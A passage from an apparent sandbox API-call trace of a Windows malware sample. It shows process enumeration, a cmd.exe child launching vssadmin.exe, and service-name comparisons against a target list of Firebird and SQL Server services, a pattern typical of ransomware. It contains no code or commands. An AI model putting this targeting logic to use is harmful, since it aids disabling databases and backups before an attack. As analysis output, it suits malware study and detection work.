lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.075] lstrlenW (lpString="svchost.exe") returned 11 [0047.075] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.076] lstrlenW (lpString="audiodg.exe") returned 11 [0047.076] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.076] lstrlenW (lpString="svchost.exe") returned 11 [0047.076] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.077] lstrlenW (lpString="svchost.exe") returned 11 [0047.077] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.077] lstrlenW (lpString="dwm.exe") returned 7 [0047.077] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.078] lstrlenW (lpString="explorer.exe") returned 12 [0047.078] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.078] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.078] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.079] lstrlenW (lpString="taskhost.exe") returned 12 [0047.079] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.079] lstrlenW (lpString="svchost.exe") returned 11 [0047.079] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.080] lstrlenW (lpString="taskeng.exe") returned 11 [0047.080] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.080] lstrlenW (lpString="taskhost.exe") returned 12 [0047.080] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0047.081] lstrlenW (lpString="dear.exe") returned 8 [0047.081] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0047.081] lstrlenW (lpString="b costa.exe") returned 11 [0047.081] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0047.082] lstrlenW (lpString="rc lock.exe") returned 11 [0047.082] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0047.082] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0047.082] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0047.083] lstrlenW (lpString="hugown.exe") returned 10 [0047.083] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0047.083] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0047.083] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0047.084] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0047.084] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0047.084] lstrlenW (lpString="locked welsh.exe") returned 16 [0047.084] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0047.085] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0047.085] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0047.085] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0047.085] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0047.086] lstrlenW (lpString="planners.exe") returned 12 [0047.086] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0047.086] lstrlenW (lpString="agreements.exe") returned 14 [0047.086] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0047.087] lstrlenW (lpString="tray.exe") returned 8 [0047.087] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0047.087] lstrlenW (lpString="wp std.exe") returned 10 [0047.087] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0047.088] lstrlenW (lpString="lesser.exe") returned 10 [0047.088] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0047.088] lstrlenW (lpString="right-tissue.exe") returned 16 [0047.088] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0047.088] lstrlenW (lpString="bunch.exe") returned 9 [0047.089] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0047.089] lstrlenW (lpString="jam.exe") returned 7 [0047.089] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0047.343] lstrlenW (lpString="chooseincidence.exe") returned 19 [0047.346] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0047.349] lstrlenW (lpString="numericalrear.exe") returned 17 [0047.351] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0047.357] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0047.359] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0047.364] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0047.365] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0047.379] lstrlenW (lpString="come_wave.exe") returned 13 [0047.381] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.393] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.393] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0047.393] lstrlenW (lpString="uyuquk.exe") returned 10 [0047.393] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.394] lstrlenW (lpString="cmd.exe") returned 7 [0047.394] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.395] lstrlenW (lpString="conhost.exe") returned 11 [0047.395] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.395] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.395] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0047.396] lstrlenW (lpString="VSSVC.exe") returned 9 [0047.396] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.396] lstrlenW (lpString="svchost.exe") returned 11 [0047.396] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0047.397] CloseHandle (hObject=0x200) returned 1 [0047.397] Sleep (dwMilliseconds=0x1f4) [0048.023] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566930 [0048.023] EnumServicesStatusExW (in: hSCManager=0x566930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0048.023] GetLastError () returned 0xea [0048.023] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0048.023] EnumServicesStatusExW (in: hSCManager=0x566930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0048.024] CloseServiceHandle (hSCObject=0x566930) returned 1 [0048.024] lstrlenW (lpString="Appinfo") returned 7 [0048.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.024] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.024] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.024] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.024] lstrlenW (lpString="AudioSrv") returned 8 [0048.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.025] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.025] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.025] lstrlenW (lpString="BFE") returned 3 [0048.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.025] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.025] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.025] lstrlenW (lpString="CryptSvc") returned 8 [0048.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.025] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.025] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.025] lstrlenW (lpString="CscService") returned 10 [0048.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.025] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.025] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.025] lstrlenW (lpString="DcomLaunch") returned 10 [0048.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.025] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.025] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.025] lstrlenW (lpString="Dhcp") returned 4 [0048.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.025] lstrlenW (lpString="Dnscache") returned 8 [0048.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.026] lstrlenW (lpString="DPS") returned 3 [0048.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.026] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.026] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.026] lstrlenW (lpString="eventlog") returned 8 [0048.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.026] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.026] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.026] lstrlenW (lpString="EventSystem") returned 11 [0048.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.026] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.026] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.026] lstrlenW (lpString="gpsvc") returned 5 [0048.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.026] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.026] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.026] lstrlenW (lpString="iphlpsvc") returned 8 [0048.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.026] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.026] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.026] lstrlenW (lpString="LanmanServer") returned 12 [0048.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.027] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.027] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.027] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.027] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.027] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.027] lstrlenW (lpString="lmhosts") returned 7 [0048.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.027] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.027] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.027] lstrlenW (lpString="MMCSS") returned 5 [0048.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.027] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.027] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0048.027] lstrlenW (lpString="MpsSvc") returned 6 [0048.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.027] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.027] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.027] lstrlenW (lpString="Netman") returned 6 [0048.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.027] lstrlenW (lpString="netprofm") returned 8 [0048.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.028] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.028] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.028] lstrlenW (lpString="NlaSvc") returned 6 [0048.028] lstrcmpiW 